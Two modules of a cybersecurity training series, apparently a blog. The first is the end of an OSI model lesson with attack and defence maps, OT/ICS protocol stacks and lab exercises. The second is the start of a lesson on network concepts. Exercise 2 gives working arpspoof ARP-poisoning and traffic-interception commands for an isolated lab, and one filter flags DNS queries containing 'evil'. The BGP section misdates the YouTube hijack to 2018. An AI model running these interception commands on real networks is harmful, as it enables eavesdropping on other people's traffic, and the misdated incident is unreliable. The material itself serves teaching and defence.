iptables/nftables: L3-L4 — filter based on IP addresses and port numbers
                   L7 extension: --match string for application data (limited)
                   Use: Host-based firewall

Snort/Suricata: All layers — L2 MAC rules through L7 application patterns
                Use: Intrusion detection/prevention

Burp Suite: L7 only — HTTP/HTTPS proxy
            Operates at application layer, doesn't handle TCP/IP directly
            Use: Web application testing

Metasploit: L4-L7 — exploits operate at transport/application level
            Network modules include L3 (ICMP) and L2 (ARP) capabilities
            Use: Exploitation framework

ARP tools (arpspoof, Bettercap): L2 — manipulate ARP at Layer 2
                                  Use: MITM setup

11. OSI vs TCP/IP — Where Theory Meets Reality

11.1 The TCP/IP Model

The TCP/IP model (DoD model) is the practical model that actually describes how the internet works. It has four layers:

OSI Model              TCP/IP Model
─────────────────      ───────────────────
7. Application    ─┐
6. Presentation   ─┼─→  Application
5. Session        ─┘
4. Transport       ──→  Transport
3. Network         ──→  Internet
2. Data Link      ─┐
1. Physical       ─┴─→  Network Access

The TCP/IP model collapses OSI's L5-L7 into Application and L1-L2 into Network Access. This reflects reality — TCP/IP protocols don't strictly observe the OSI layer boundaries.

11.2 Why Both Models Matter

Use OSI when:

Troubleshooting: "Is this a Layer 1 problem (cable unplugged) or Layer 3 (routing)?"
Security analysis: "This attack operates at Layer 2 — what Layer 2 controls exist?"
Describing attack techniques: "This is a Layer 7 attack (HTTP) that uses a Layer 4 mechanism (TCP connection flooding)"
Vendor communication: The OSI model is the universal reference — every security professional understands it

Use TCP/IP when:

Protocol specification reading: RFCs describe TCP/IP protocols
Implementation details: Understanding actual protocol behaviour
Network engineering: How protocols actually interact

In practice: know OSI by name and layer number. Know TCP/IP for implementation details. Switch between them naturally depending on context. This is what professionals do.

12. Attacking Across the Stack — Layer-by-Layer Threat Map

┌──────────────────────────────────────────────────────────────────────────┐
│ Layer │ Key Attacks                    │ Key Defences                    │
├───────┼────────────────────────────────┼─────────────────────────────────┤
│  L7   │ SQLi, XSS, CSRF, Command inj.  │ WAF, input validation, CSP      │
│  App  │ SSRF, XXE, IDOR, Deserialisat. │ Secure coding, DAST scanning    │
│       │ DNS cache poisoning, BGP hijack│ DNSSEC, RPKI, DMARC             │
│       │ Modbus/DNP3/SNMP exploitation  │ Protocol authentication (IEC 62351)│
├───────┼────────────────────────────────┼─────────────────────────────────┤
│  L6   │ Encoding attacks (UTF-8 abuse) │ Input normalisation, sanitisation│
│ Pres. │ CRIME/BREACH compression oracle│ Disable TLS compression         │
│       │ SSL/TLS downgrade attacks      │ TLS 1.2+ only, HSTS             │
│       │ Heartbleed (CVE-2014-0160)     │ Patch OpenSSL, cert rotation    │
├───────┼────────────────────────────────┼─────────────────────────────────┤
│  L5   │ Session hijacking              │ Secure session tokens, HTTPS    │
│ Sess. │ RPC exploitation (MS03-026)    │ Firewall port 135, patch        │
│       │ NetBIOS/LLMNR poisoning        │ Disable LLMNR/NBT-NS, DNSSEC   │
├───────┼────────────────────────────────┼─────────────────────────────────┤
│  L4   │ SYN flood                      │ SYN cookies, rate limiting      │
│ Trans.│ UDP amplification DDoS         │ BCP38, rate limiting services   │
│       │ TCP session hijacking          │ Randomised ISNs (modern OSes)   │
│       │ Port scanning                  │ Firewall, port knocking         │
│       │ TIME_WAIT exhaustion           │ Tune TCP stack parameters       │
├───────┼────────────────────────────────┼─────────────────────────────────┤
│  L3   │ IP spoofing                    │ BCP38 ingress filtering         │
│  Net  │ ICMP redirect                  │ Disable ICMP redirect accept    │
│       │ Fragmentation attacks          │ Fragment reassembly at firewall │
│       │ OSPF/BGP route injection       │ Routing protocol authentication │
│       │ TTL manipulation (IDS evasion) │ Normalise TTL in IDS            │
├───────┼────────────────────────────────┼─────────────────────────────────┤
│  L2   │ ARP spoofing/poisoning         │ Dynamic ARP Inspection (DAI)    │
│ Data  │ MAC flooding (CAM overflow)    │ Port security, MAC limiting     │
│ Link  │ VLAN hopping (DTP/double-tag)  │ Disable DTP, change native VLAN │
│       │ STP attacks (root bridge)      │ BPDU Guard, Root Guard          │
│       │ CDP/LLDP info disclosure       │ Disable on untrusted ports      │
│       │ GOOSE injection (IEC 61850)    │ IEC 62351-6 authentication      │
├───────┼────────────────────────────────┼─────────────────────────────────┤
│  L1   │ Physical wiretapping           │ Physical security, fibre+alarm  │
│ Phys. │ Signal jamming                 │ RF shielding, redundant paths   │
│       │ Rogue device insertion         │ 802.1X port authentication      │
│       │ Hardware implants              │ Supply chain verification, tamper│
│       │ Power analysis side-channel    │ Constant-time crypto, shielding │
└───────┴────────────────────────────────┴─────────────────────────────────┘

13. OSI in OT/ICS/SCADA Environments

13.1 How Industrial Protocols Map to OSI

The Purdue Model (covered in Stage 12) describes OT network architecture in functional zones. OSI describes communication within and between those zones. Together they form the complete framework for OT security analysis.

IEC 61850 Protocol Stack vs OSI:
┌─────────────┐     ┌──────────────────────────────────┐
│    OSI      │     │         IEC 61850 Stack           │
├─────────────┤     ├──────────────────────────────────┤
│ Application │←───→│ MMS (Manufacturing Message Spec.) │
│ Presentation│←───→│ ASN.1/BER encoding               │
│ Session     │←───→│ ISO Session Protocol              │
│ Transport   │←───→│ TCP (for MMS/ICCP)               │
│ Network     │←───→│ IP                               │
│ Data Link   │←───→│ Ethernet (GOOSE/SV directly here)│
│ Physical    │←───→│ Copper/Fibre Ethernet            │
└─────────────┘     └──────────────────────────────────┘

GOOSE and Sampled Values bypass L3-L7 entirely → directly over L2
This is why IP firewalls cannot filter GOOSE traffic

Modbus TCP vs OSI:
┌─────────────┐     ┌─────────────────┐
│    OSI      │     │   Modbus TCP    │
├─────────────┤     ├─────────────────┤
│ Application │←───→│ Modbus PDU      │ ← Function code, data
│ Pres./Sess. │     │ (not present)   │ ← No session management
│ Transport   │←───→│ TCP (port 502)  │
│ Network     │←───→│ IP              │
│ Data Link   │←───→│ Ethernet        │
│ Physical    │←───→│ Copper/Fibre    │
└─────────────┘     └─────────────────┘

Note: Modbus does not implement Presentation or Session layers.
Sessions are implicit — if the TCP connection is open, commands are executed.
Authentication: NONE at any layer.

13.2 OT Security Controls by Layer

Layer-by-layer OT security controls:

L1 — Physical:
  ✓ Physical access control to cabinets and field devices
  ✓ Cable labelling and documentation
  ✓ Tamper-evident seals on hardware
  ✓ Locked enclosures in remote locations
  ✗ Often: exposed USB ports, unguarded network jacks

L2 — Data Link:
  ✓ GOOSE authentication (IEC 62351-6) — rarely deployed
  ✓ Port security on managed switches
  ✗ Often: unmanaged switches (no port security possible)
  ✗ Often: flat L2 network (no VLAN separation)
  ✗ Often: GOOSE with no authentication

L3 — Network:
  ✓ Firewalls between IT and OT (DMZ)
  ✓ Whitelist-based ACLs (only known devices can communicate)
  ✗ Often: no inspection of Modbus/DNP3 payload
  ✗ Often: no logging of L3 traffic
  Note: Modbus TCP on port 502 can be filtered at L3, but payload not validated

L4 — Transport:
  ✓ Port filtering (block everything except known service ports)
  ✗ Often: wide-open port ranges for "legacy compatibility"

L7 — Application:
  ✓ Industrial protocol gateways with command inspection
  ✓ OPC UA with security mode (authentication + encryption)
  ✓ DNP3 Secure Authentication v5
  ✗ Often: Modbus with no authentication accepted by field devices
  ✗ Often: SNMP v1/v2c on network-connected devices

14. Hands-On Exercises

Exercise 1: Layer-by-Layer Packet Dissection (1 hour)

# Capture a full HTTP connection and manually identify each OSI layer

# Start capture
sudo tcpdump -i eth0 -w /tmp/http_full.pcap 'host neverssl.com and tcp port 80' &

# Generate traffic
curl -v http://neverssl.com/

# Stop capture
kill %1

# Open in Wireshark: wireshark /tmp/http_full.pcap
# For each packet in the TCP handshake (SYN, SYN-ACK, ACK):
# 1. Expand "Ethernet II" → identify L2 fields (Dst MAC, Src MAC, EtherType)
# 2. Expand "Internet Protocol" → identify L3 fields (Src IP, Dst IP, TTL, Protocol)
# 3. Expand "Transmission Control Protocol" → identify L4 fields (ports, flags, seq, ack)
# 4. Find the HTTP GET request packet → expand "Hypertext Transfer Protocol" → L7

# Answer these questions:
# - What is the Ethernet EtherType in hex?
# - What IP protocol number identifies TCP?
# - What TCP flags are set in the SYN packet?
# - What TTL does the server's response have? What OS does this suggest?
# - Can you find the HTTP response code?

Exercise 2: ARP Observation and Poisoning (Lab Only) (1 hour)

# This exercise MUST be done in an isolated lab (two VMs only)
# NEVER on production or shared networks

# VM1 (Attacker - Kali): 192.168.100.10
# VM2 (Target):          192.168.100.20
# Gateway (simulated):   192.168.100.1

# On Target (VM2) — observe normal ARP
arp -a
# Record the gateway's MAC address

# On Attacker (VM1) — start ARP poisoning
sudo arpspoof -i eth0 -t 192.168.100.20 192.168.100.1 &
sudo arpspoof -i eth0 -t 192.168.100.1 192.168.100.20 &
echo 1 | sudo tee /proc/sys/net/ipv4/ip_forward

# On Target (VM2) — check ARP again
arp -a
# The gateway's MAC has changed to Attacker's MAC → ARP poisoning confirmed

# On Attacker (VM1) — observe intercepted traffic
sudo tcpdump -i eth0 -n 'host 192.168.100.20'

# Questions:
# What changed in the ARP cache?
# Can you see target's traffic in tcpdump?
# Can you detect this attack programmatically?

# Detection (on any machine on the same segment):
sudo arpwatch -i eth0    # Logs MAC address changes — would alert on this

Exercise 3: Build a Layer-by-Layer Attack Map (45 minutes)

Using only a packet capture and Wireshark, answer these questions about a network:

# Download a sample capture
wget https://wiki.wireshark.org/uploads/afae4d9c6a5c0b96db05df03d00c97b0/http.cap
wireshark http.cap

# L1 analysis:
# - Is the capture from Ethernet or Wi-Fi?
# - What is the maximum frame size observed?

# L2 analysis:
# - What are the unique MAC addresses?
# - Look up their OUIs: what manufacturers made these devices?
# - Is there any ARP traffic? What does it reveal?
# - Filter: arp

# L3 analysis:
# - What are the unique IP addresses?
# - What TTLs do you observe? What OSes?
# - Filter: ip

# L4 analysis:
# - What TCP connections exist? (Wireshark Statistics → Conversations → TCP)
# - What is the SYN timestamp? The FIN/RST timestamp? How long was the connection?
# - Filter: tcp.flags.syn == 1 to find all connection initiations

# L7 analysis:
# - What HTTP requests were made? (File → Export Objects → HTTP)
# - What user-agent string reveals the browser/OS?
# - Filter: http.request

Exercise 4: Wireshark OSI Layer Filters (30 minutes)

# Master Wireshark filters organised by OSI layer

# L2 filters:
eth.dst == ff:ff:ff:ff:ff:ff          # Broadcast frames
eth.type == 0x0806                     # ARP frames only
eth.type == 0x8100                     # 802.1Q VLAN tagged
eth.src == AA:BB:CC:DD:EE:FF           # Specific source MAC
eth.addr == AA:BB:CC:DD:EE:FF          # Source OR destination MAC

# L3 filters:
ip.src == 192.168.1.100               # Specific source IP
ip.dst == 192.168.1.1                 # Specific destination IP
ip.ttl < 10                           # Low TTL (dying packets or traceroute)
ip.frag_offset > 0                    # Fragmented packets (not first fragment)
ip.flags.mf == 1                      # More fragments flag set
icmp                                   # All ICMP traffic
icmp.type == 8                        # ICMP Echo Request (ping)

# L4 filters:
tcp.port == 80                        # TCP port 80 either direction
tcp.dstport == 443                    # HTTPS traffic
tcp.flags.syn == 1 and tcp.flags.ack == 0   # SYN only (new connections)
tcp.flags.rst == 1                    # RST packets (rejected connections)
tcp.analysis.retransmission           # TCP retransmissions (network problems/scanning)
udp.port == 53                        # DNS traffic

# L7 filters:
http.request.method == "POST"         # HTTP POST requests
http.response.code == 200             # Successful HTTP responses
http.response.code >= 400             # HTTP errors
dns.qry.name contains "evil"          # DNS queries containing "evil"
dns.flags.response == 0               # DNS queries only
smb2                                  # SMB2 traffic

15. Module Summary

OSI Layer	Number	PDU	Key Protocols	Primary Security Attacks	Key Defences
Application	7	Data	HTTP, DNS, SMTP, SMB, Modbus, DNP3, SNMP	SQLi, XSS, DNS poisoning, command injection, Modbus exploitation	WAF, input validation, DNSSEC, IEC 62351
Presentation	6	Data	TLS, SSL, JPEG, ASN.1	CRIME/BREACH, SSL downgrade, Heartbleed, encoding attacks	TLS 1.3, disable TLS compression, patch OpenSSL
Session	5	Data	NetBIOS, RPC, TLS handshake	Session hijacking, RPC exploitation, LLMNR poisoning	Disable LLMNR/NBT-NS, firewall RPC, HTTPS
Transport	4	Segment/Datagram	TCP, UDP, QUIC	SYN flood, UDP amplification, port scanning, TIME_WAIT exhaustion	SYN cookies, BCP38, rate limiting, firewall
Network	3	Packet	IPv4, IPv6, ICMP, OSPF, BGP, IPSec	IP spoofing, ICMP redirect, fragmentation attacks, route injection	BCP38, RPKI, routing authentication, firewall
Data Link	2	Frame	Ethernet, 802.1Q, ARP, STP, LLDP, GOOSE	ARP spoofing, MAC flooding, VLAN hopping, STP attack, GOOSE injection	DAI, port security, BPDU Guard, IEC 62351-6
Physical	1	Bits	Copper, Fibre, 802.11, RS-485	Wiretapping, jamming, rogue device, hardware implant	Physical security, 802.1X, supply chain audit

Next Module: Stage 1.3 — TCP/IP Model

Previous Module: Stage 1.1 — Network Concepts

Series Index: Full Roadmap

Stage 1.1 — Network Concepts

Rençber AKMAN — Sun, 31 May 2026 16:08:54 +0000

From Zero to Cybersecurity Professional | Complete Roadmap Series

Series: Cybersecurity × OT/ICS Security — Full Roadmap

Stage: 1 — Network Fundamentals

Module: 1.1 — Network Concepts

Level: Beginner → Advanced

Prerequisites: Stage 0 — Foundations (Complete)

Next Module: 1.2 — OSI Model

Why Networks Are the Battlefield
What Is a Network — First Principles
Network Types — LAN, WAN, MAN, PAN
How the Internet Actually Works
Bandwidth, Latency, Jitter — The Performance Trinity
Packets and Frames — How Data Travels
Unicast, Multicast, Broadcast — Addressing Modes
Network Topologies and Their Security Implications
The Security Mindset on Networks
Hands-On Exercises
Further Reading and Resources

1. Why Networks Are the Battlefield

Every single cyberattack — without exception — involves a network at some point. An attacker scanning for open ports, a piece of ransomware calling home to its command-and-control server, credentials being exfiltrated, a phishing link being clicked, lateral movement from one compromised machine to another — all of it flows through network infrastructure.

When security professionals talk about "the attack surface," networks represent the largest and most exposed portion of it. An organisation might lock down every workstation perfectly, deploy every patch on time, and train every employee — and still be compromised because a misconfigured network segment allowed an attacker to reach a system they should never have been able to touch.

For you specifically: Understanding networks is not a prerequisite you get through to reach the "interesting" material. It IS the interesting material. The difference between a junior analyst who struggles and a senior professional who consistently finds things others miss comes down, very often, to how deeply they understand what is happening at the network level.

A packet captured in Wireshark is meaningless noise to someone who does not understand networks. To someone who does, it tells a complete story — where the connection came from, where it was going, what protocol was used, whether the traffic is normal or anomalous, whether an attack is in progress, and what the attacker was trying to do.

For OT/ICS specifically: Industrial networks are fundamentally different from enterprise IT networks in their topology, their protocols, and their failure modes. Power substations, manufacturing floors, and water treatment facilities run communication networks that were designed for reliability and real-time control — not security. Understanding networking from first principles is what allows you to reason about these environments clearly when you encounter them.

The security mindset for this stage: The network is not a dumb pipe that moves bytes from A to B. It is a complex, stateful, layered system with its own logic, its own vulnerabilities, and its own forensic trail. Every byte that crosses a network leaves a story. Your job is to read it.

2. What Is a Network — First Principles

2.1 The Core Definition

A network is any system that allows two or more devices to exchange information. That definition is deceptively simple. The complexity — and the security implications — emerge from how that exchange is implemented.

At the most fundamental level, a network requires three things:

1. A medium — something through which the signal travels. This can be:

Copper wire (Ethernet, telephone lines)
Optical fibre (glass or plastic that carries light signals)
Radio waves (Wi-Fi, cellular, Bluetooth, Zigbee)
Even lasers through air (free-space optical communication, used in some industrial settings)

2. A protocol — an agreed-upon language for communication. Without protocols, a device sending data and a device receiving data would have no way to understand each other. Protocols define everything: how to start a conversation, how to end it, how to handle errors, how to ensure data arrives in order, how to authenticate, how to encrypt.

3. Addressing — a way to identify who is talking and who should receive the data. Without addressing, data broadcast by one device would reach all devices but none would know if it was meant for them.

These three requirements — medium, protocol, addressing — map directly onto the OSI model you will study in Module 1.2. Understanding this mapping now will make OSI click immediately when you reach it.

2.2 Why Networks Exist — The Business and Operational Driver

This matters for security because understanding why a network exists tells you what it is supposed to protect and what its failure modes mean.

Networks exist to enable:

Resource sharing — printers, storage, software licenses. Before networks, every computer needed its own copy of everything.

Communication — email, messaging, video calls. The entire modern communication infrastructure is a network.

Centralised management — instead of configuring every machine individually, network-connected devices can be managed from a central point. Active Directory is the enterprise manifestation of this.

Distributed computing — breaking large problems across many machines. Cloud computing is this at massive scale.

Real-time control — in OT/ICS environments, networks carry control signals between sensors, controllers, and actuators. A factory's production line communicates over a network. A power substation's protection relays communicate over a network. Here, the network is not a convenience — it is the operational backbone. Disrupting it does not cause inconvenience; it causes physical consequences.

2.3 The Fundamental Problem Networks Solve — and Create

Networks solve the problem of physical distance. Information that would take hours to transport physically can be transmitted in milliseconds.

But networks also create new problems:

Confidentiality: Data crossing a network can be intercepted. Every packet that travels through shared infrastructure — routers, switches, ISPs — passes through hardware you do not control. Anyone with access to that hardware can potentially read your data. This is why encryption exists.

Integrity: Data can be modified in transit. An attacker positioned between sender and receiver (Man-in-the-Middle) can alter packets. This is why cryptographic authentication exists.

Availability: Networks can be overwhelmed, disrupted, or severed. A DDoS attack exploits this. A cut cable exploits this. For OT networks where availability means operational continuity, this is the most critical concern.

Authentication: How does a receiving device know that data is actually from who it claims to be from? IP addresses can be spoofed. MAC addresses can be faked. This is why authentication protocols exist — and why their weaknesses are so heavily exploited.

These four properties — confidentiality, integrity, availability, authentication — map directly onto the CIA triad and its extensions that you studied in Stage 0. Everything you learn about networks connects back to these fundamentals.

3. Network Types — LAN, WAN, MAN, PAN

3.1 Why Classification Matters for Security

Network type classification is not academic taxonomy. It tells you:

What protocols are likely in use
What the physical attack surface looks like
What the regulatory environment is (some network types are regulated)
What assumptions about trust are built into the design
How an attacker would approach targeting it

3.2 PAN — Personal Area Network

Scale: Centimetres to ~10 metres

Purpose: Connect personal devices in immediate proximity

Technologies: Bluetooth (IEEE 802.15.1), Zigbee (IEEE 802.15.4), NFC, USB, IrDA

Your body area:
Smartphone ←→ Smartwatch (Bluetooth)
Laptop ←→ Wireless mouse/keyboard (Bluetooth)
Phone ←→ Payment terminal (NFC, <10cm)
Medical device ←→ Monitoring station (Zigbee)

Security Characteristics:

Short range limits the attack surface physically — attacker must be nearby
But "nearby" in a crowded office, airport, or conference is not much of a limitation
Bluetooth has had catastrophic vulnerabilities: BlueBorne (2017) allowed unauthenticated RCE on any Bluetooth device without pairing — just being in range was enough
NFC proximity requirement (≤4cm) is often cited as a security feature, but relay attacks can extend this range significantly
OT/ICS relevance: Zigbee is extensively used in smart meters, building automation, and some industrial sensor networks. Zigbee security depends heavily on proper key management, which is frequently misconfigured in deployments

Real Attack Scenarios:

Bluetooth keyboard injection: send keystrokes to a paired device to execute commands
NFC relay attack: intercept and relay contactless payment at a distance using two devices
Zigbee network compromise: capture the network key from a commissioning device, decrypt all traffic

3.3 LAN — Local Area Network

Scale: Single building or campus, typically up to ~1km

Purpose: Connect devices within an organisation or home

Technologies: Ethernet (IEEE 802.3), Wi-Fi (IEEE 802.11), Token Ring (legacy)

Speed: 100 Mbps to 400 Gbps (modern enterprise)

Typical Corporate LAN:
[Workstations] ←→ [Access Switch] ←→ [Distribution Switch] ←→ [Core Switch]
[Servers]      ←→ [Access Switch] ←→ [Distribution Switch] ←→ [Core Switch]
[IP Phones]    ←→ [Access Switch] ←→ (VLAN separation)
[IoT Devices]  ←→ [Access Switch] ←→ (Isolated VLAN)

Security Characteristics:

The LAN is where most enterprise security incidents happen. Because LAN traffic stays within the organisation's infrastructure, there is a common (and dangerous) assumption that LAN traffic is trustworthy. The Zero Trust model exists specifically to challenge this assumption.

Why LAN is the primary attack surface:

Once an attacker gains initial access (phishing, exploitation), they are inside the LAN
Traditional security models focused defences at the perimeter (where LAN meets WAN)
Inside the LAN, lateral movement was often unimpeded — flat networks where every device could reach every other device
ARP poisoning, VLAN hopping, SMB relay attacks, LLMNR/NBT-NS poisoning — all LAN-specific attacks
Active Directory, which dominates enterprise identity, is a LAN technology

Network Segmentation — The Most Important LAN Security Concept:

A flat LAN is a security disaster. Proper segmentation divides the LAN into zones where communication between zones is explicitly controlled:

Segmented Corporate LAN:
[Internet] → [Firewall] → [DMZ: Web servers, Mail relays]
                       → [Corporate LAN]
                            ├── [User VLAN: Workstations]
                            ├── [Server VLAN: Internal servers]
                            ├── [Management VLAN: Network devices, IPMI]
                            ├── [VoIP VLAN: IP phones]
                            ├── [Guest VLAN: Visitors — no LAN access]
                            └── [OT VLAN: Industrial devices — strictly isolated]

Each zone communicates with others only through explicitly allowed firewall rules. A compromised workstation in the User VLAN cannot directly reach the Server VLAN without going through inspection.

OT/ICS LAN specifics: Industrial LANs are supposed to be isolated from corporate IT LANs. In practice, the IT/OT boundary is one of the most frequently misconfigured security controls in the industry. The Ukraine 2015 power grid attack used IT network access to reach OT networks that were inadequately segregated.

3.4 MAN — Metropolitan Area Network

Scale: City or metropolitan area, typically 5-50km

Purpose: Connect multiple buildings or LANs within a geographic region

Technologies: Fibre optic rings (SONET/SDH), Carrier Ethernet, MPLS

Who uses it: Telecommunications providers, city governments, large universities, utility companies

City Infrastructure MAN:
[Hospital Campus] ←→ [City Fibre Ring] ←→ [City Hall]
[University]      ←→ [City Fibre Ring] ←→ [Library Network]
[Power Utility]   ←→ [City Fibre Ring] ←→ [Water Authority]

Security Characteristics:

The physical medium crosses public spaces — fibre cables can be cut, tapped, or accessed at junction points
Traffic often passes through multiple intermediate carriers where you have no visibility
City-scale infrastructure MANs are critical infrastructure targets — disrupting a MAN can affect hospitals, utilities, and government services simultaneously
BGP (Border Gateway Protocol) route hijacking can redirect MAN traffic through attacker-controlled infrastructure
Utility company MANs connect substations, control centres, and distribution equipment — these are high-value OT targets precisely because they are networked

3.5 WAN — Wide Area Network

Scale: Across cities, countries, or globally

Purpose: Connect geographically distributed networks

Technologies: MPLS, SD-WAN, leased lines, satellite, undersea cables

The internet itself is the world's largest WAN

Corporate WAN Example:
[HQ — Istanbul] ←→ [MPLS Provider] ←→ [Branch — Ankara]
[HQ — Istanbul] ←→ [MPLS Provider] ←→ [Branch — Izmir]
[HQ — Istanbul] ←→ [Internet VPN]  ←→ [Remote Workers]
[HQ — Istanbul] ←→ [Internet]      ←→ [Cloud Services]

Security Characteristics:

The WAN is fundamentally hostile territory. Traffic crosses infrastructure owned by third parties — ISPs, backbone providers, content delivery networks. This is the environment for which TLS/SSL was invented.

BGP — The Internet's Routing Protocol and Its Security Problem:
BGP (Border Gateway Protocol) is how routers on the internet decide where to send traffic. It is based on trust — networks announce which IP ranges they own, and other networks believe them. This design worked when the internet was small and all participants were known entities.

Today, BGP hijacking is a real and recurring threat:

In 2018, a Pakistani ISP accidentally announced that it owned YouTube's IP ranges. YouTube was unreachable globally for ~2 hours.
In 2010, China Telecom advertised routes for ~15% of internet traffic, routing it through China for ~18 minutes.
In 2022, researchers documented dozens of suspicious BGP events suggesting intentional route manipulation.

BGP hijacking can be used to:

Intercept traffic before it reaches its destination
Perform SSL stripping attacks at scale
Take over domains by intercepting DNS traffic
Disrupt specific organisations' connectivity

RPKI (Resource Public Key Infrastructure) is the cryptographic solution — it allows networks to cryptographically sign their BGP route announcements. Adoption is growing but not universal.

SD-WAN — The Modern Enterprise WAN:
SD-WAN (Software-Defined WAN) overlays software-defined networking principles onto WAN infrastructure. It dynamically routes traffic across multiple links (MPLS + broadband internet + 4G) based on policy. SD-WAN has its own attack surface — the centralised controller is a high-value target, and misconfigured SD-WAN deployments have exposed management interfaces to the internet.

4. How the Internet Actually Works

4.1 The Physical Foundation

The internet is not a cloud. It is a very concrete physical infrastructure. Understanding its physical reality changes how you think about attacks, censorship, intelligence collection, and reliability.

Undersea Cables:
Approximately 95% of international internet traffic travels through undersea fibre optic cables. There are roughly 400 active submarine cable systems connecting every continent except Antarctica. Each cable is roughly the diameter of a garden hose and carries petabits of traffic per second.

These cables are:

Vulnerable to physical damage (anchors, earthquakes, fishing trawlers)
Landing stations where cables come ashore are intelligence collection points — the Snowden documents revealed that GCHQ and NSA tapped undersea cables at landing stations
When a major cable is cut, traffic reroutes through other cables, but capacity constraints cause slowdowns affecting entire regions

Internet Exchange Points (IXPs):
IXPs are physical locations where different networks (ISPs, content providers, CDNs) connect and exchange traffic directly — "peering." Major IXPs include DE-CIX (Frankfurt), AMS-IX (Amsterdam), Equinix (multiple cities).

IXPs handle enormous traffic volumes and are significant surveillance and intelligence collection points. They are also single points of failure for regional connectivity.

4.2 IP Routing — The Logic Layer

When you send data across the internet, it does not travel a fixed, pre-determined path. It is routed dynamically, hop by hop, from router to router.

Your packet's journey from Istanbul to New York:
Your PC (192.168.1.5)
    ↓
Home Router (ISP gateway)
    ↓
ISP Router — Istanbul
    ↓
ISP Core Router — Istanbul
    ↓
Undersea Cable Landing Station — Portugal
    [Undersea fibre cable — Atlantic Ocean]
    ↓
Landing Station — New York
    ↓
Tier-1 ISP — New York
    ↓
Destination ISP — New York
    ↓
Target Server (203.0.113.1)

Each "hop" is a router that examines the destination IP address, looks up its routing table, and forwards the packet to the next hop. The routing table says: "For packets destined to 203.0.113.0/24, forward to next-hop 198.51.100.1."

Traceroute reveals this path:

traceroute google.com
# Each line is one hop
# 1  192.168.1.1      1ms    ← Your router
# 2  10.0.0.1         5ms    ← ISP router
# 3  195.175.39.1    12ms    ← ISP core
# 4  195.175.39.254  15ms    ← ISP backbone
# ...
# 18 142.250.185.78   98ms   ← Google's network

Security Implication of Routing:
You have no control over which routers handle your packets. Traffic between two Turkish endpoints might transit through routers in other countries depending on peering agreements. Each router along the path is a potential point of interception, modification, or blocking.

This is why end-to-end encryption (TLS) is designed to protect data even when the network infrastructure is untrusted. The encryption happens between your browser and the server — all the intermediate routers see is encrypted ciphertext.

4.3 DNS — The Internet's Phone Book

DNS (Domain Name System) translates human-readable names (google.com) into IP addresses (142.250.185.78) that routers use to route packets.

Understanding DNS is critical because:

DNS is involved in almost every internet communication
DNS attacks (poisoning, hijacking, tunnelling) are common and powerful
DNS queries are often unencrypted — they reveal every site you visit
C2 (Command and Control) communication for malware frequently uses DNS

The DNS Resolution Process:

You type: www.example.com

1. Check local DNS cache → not found
2. Query local resolver (your ISP or 8.8.8.8)
3. Resolver checks its cache → not found
4. Resolver queries root nameserver (.)
   "I need to find .com"
   Root server: "Ask the .com nameserver at 192.5.6.30"
5. Resolver queries .com nameserver
   "I need example.com"
   .com nameserver: "Ask example.com's nameserver at 205.251.196.1"
6. Resolver queries example.com's nameserver
   "I need www.example.com"
   Returns: "www.example.com → 93.184.216.34"
7. Resolver caches this result (TTL: 3600 seconds)
8. Returns 93.184.216.34 to your computer
9. Your computer connects to 93.184.216.34

Total time: typically 50-300ms (first query, uncached)

DNS Security Issues:

DNS cache poisoning: inject false DNS records into a resolver's cache, causing victims to connect to attacker-controlled IP
DNS hijacking: modify DNS settings on a device or router to redirect all queries to a malicious server
DNS tunnelling: encode data in DNS queries to exfiltrate data or maintain C2 communication through firewalls that allow DNS traffic
DNS over HTTP (DoH) and DNS over TLS (DoT) encrypt DNS queries, but also bypass traditional DNS monitoring — both a security improvement (privacy) and a detection challenge (visibility)

4.4 CDN — How Content Actually Reaches You

When you visit a major website, you are rarely connecting to the company's own server. You are connecting to a Content Delivery Network (CDN) — a globally distributed network of servers that cache and serve content from the closest location.

Major CDNs: Cloudflare, Akamai, Fastly, Amazon CloudFront, Google Cloud CDN.

Without CDN:
Turkish user → Request → Server in California → Response (200ms round trip)

With CDN:
Turkish user → Request → CDN node in Frankfurt → Response (20ms round trip)
                         (cached content served locally)

CDN Security Relevance:

CDNs absorb DDoS attacks — they have enough bandwidth and distributed infrastructure to absorb volumetric attacks that would overwhelm a single server
Cloudflare's "magic transit" and similar services can protect infrastructure from DDoS even at the network layer
CDN misconfigurations can expose origin server IPs (bypassing DDoS protection) or leak internal content
WAF (Web Application Firewall) functionality is commonly embedded in CDN services
CDNs see plaintext traffic even for HTTPS sites (TLS terminates at the CDN edge) — this is both a capability and a trust consideration

5. Bandwidth, Latency, Jitter — The Performance Trinity

5.1 Why These Matter for Security Professionals

Network performance metrics are not just for network engineers. They directly affect:

Whether attacks are detectable (anomalous bandwidth usage is an IOC)
How C2 channels are designed (attackers must stay within normal baseline traffic patterns to avoid detection)
DDoS attack characterisation (bandwidth exhaustion vs latency degradation vs jitter-based attacks)
OT network viability (real-time control requires strict latency and jitter bounds — exceeding them causes physical consequences)
Forensic timeline reconstruction (network timing data helps reconstruct attack sequences)

5.2 Bandwidth — The Pipe Size

Definition: The maximum rate at which data can be transferred across a network link. Measured in bits per second (bps) and its multiples: Kbps, Mbps, Gbps, Tbps.

Common bandwidth references:
Home broadband (Turkey, 2026): 100 Mbps - 1 Gbps download
Enterprise WAN link:           1 Mbps - 10 Gbps
Undersea cable (single):       ~160 Tbps
Ethernet LAN:                  1 Gbps - 400 Gbps
Wi-Fi 6 (802.11ax):           up to ~9.6 Gbps theoretical
5G cellular:                   up to ~20 Gbps theoretical, typically 100-900 Mbps real

Bits vs Bytes — confusion source:
Network speeds: bits/second (lowercase b) → 100 Mbps
File sizes: bytes (uppercase B) → 10 MB/s
100 Mbps ÷ 8 = 12.5 MB/s actual file transfer speed

Bandwidth vs Throughput vs Goodput:

Bandwidth — theoretical maximum capacity of the link
Throughput — actual data transfer rate achieved (always ≤ bandwidth)
Goodput — useful data transferred, excluding protocol overhead, retransmissions, headers

Real-world throughput is always less than bandwidth due to:

Protocol overhead (headers in every packet)
Network congestion
Half-duplex limitations
TCP flow control and congestion control
Physical medium quality

Security Relevance of Bandwidth:

DDoS characterisation: A volumetric DDoS attack aims to exhaust bandwidth. If a target's link is 10 Gbps and the attacker sends 50 Gbps, the link is saturated — legitimate traffic is crowded out. Modern DDoS attacks have reached 3.47 Tbps (Microsoft Azure, November 2021).

Exfiltration detection: A workstation that normally transfers 100 MB/day suddenly transferring 50 GB overnight is an anomaly. Baseline bandwidth monitoring makes this detectable. Tools like NetFlow and IPFIX collect per-flow bandwidth statistics that enable exactly this type of detection.

